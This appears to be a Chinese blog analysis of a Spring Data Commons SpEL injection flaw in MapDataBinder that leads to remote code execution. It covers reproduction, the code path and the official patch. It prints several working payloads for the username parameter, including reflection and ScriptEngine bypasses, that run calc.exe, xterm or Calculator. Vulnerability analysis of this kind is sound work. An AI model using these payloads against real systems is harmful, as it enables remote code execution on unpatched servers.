今天来谈一谈某个简单的漏洞(其实是找不到深入的分析文章,并且自己也找不到思路)
Spring Data Commons是Spring系列比较流行的框架,主要目的是方便地进行CRUD操作。实际上国内的Java开发采用Spring Data系列的不多,但也不能否认它的强大。这个漏洞本质也还是SPEL的问题
下载github官方案例:git clone https://github.com/spring-projects/spring-data-examples
checkout到老版本:git checkout 05bc950a46eaa687cb3eaf0489015cea668a5013
IDEA打开自动处理完依赖后,访问http://localhost:8080/users
输入用户名密码后抓包,修改Payload,成功复现
不是很好入手分析,直接找到官方的补丁位置:org/springframework/data/web/MapDataBinder.java->setPropertyValue,下断点,看到propertyName正是payload
继续看这个方法的后续代码,初始化expression并调用setValue,典型SPEL的RCE
xxxxxxxxxx
......
Expression expression = PARSER.parseExpression(propertyName);
......
try {
expression.setValue(context, value);
}
......
反向分析,寻找哪里调用了MapDataBinder类,找到org\springframework\data\web\ProxyingHandlerMethodArgumentResolver.java
的createAttribute
方法
xxxxxxxxxx
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
NativeWebRequest request) throws Exception {
MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
binder.bind(new MutablePropertyValues(request.getParameterMap()));
return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}
SpringMVC框架的调用规则:
xxxxxxxxxx
public void addArgumentResolvers(List<HandlerMethodArgumentResolver> argumentResolvers) {
argumentResolvers.add(sortResolver());
argumentResolvers.add(pageableResolver());
ProxyingHandlerMethodArgumentResolver resolver = new ProxyingHandlerMethodArgumentResolver(conversionService, true);
resolver.setBeanFactory(context);
forwardBeanClassLoader(resolver);
argumentResolvers.add(resolver);
}
xxxxxxxxxx
public boolean supportsParameter(MethodParameter parameter) {
if (!super.supportsParameter(parameter)) {
return false;
}
Class<?> type = parameter.getParameterType();
if (!type.isInterface()) {
return false;
}
......
这里的payload是有限制条件的,如果是下面这条将不会生效
xxxxxxxxxx
username[#T(java.lang.Runtime).getRuntime().exec('calc.exe')]
使用反射可以绕过
xxxxxxxxxx
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]
或者参考网上大佬的方案
xxxxxxxxxx
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]
username[(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('shxx-cxxopen%20/Applications/Calculator.app'.split('xx'))).start()]
具体原因猜测是这个版本的SPEL对关键类和方法做了限制
官方补丁:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
主要就是把StandardEvaluationContext换成SimpleEvaluationContext,最小权限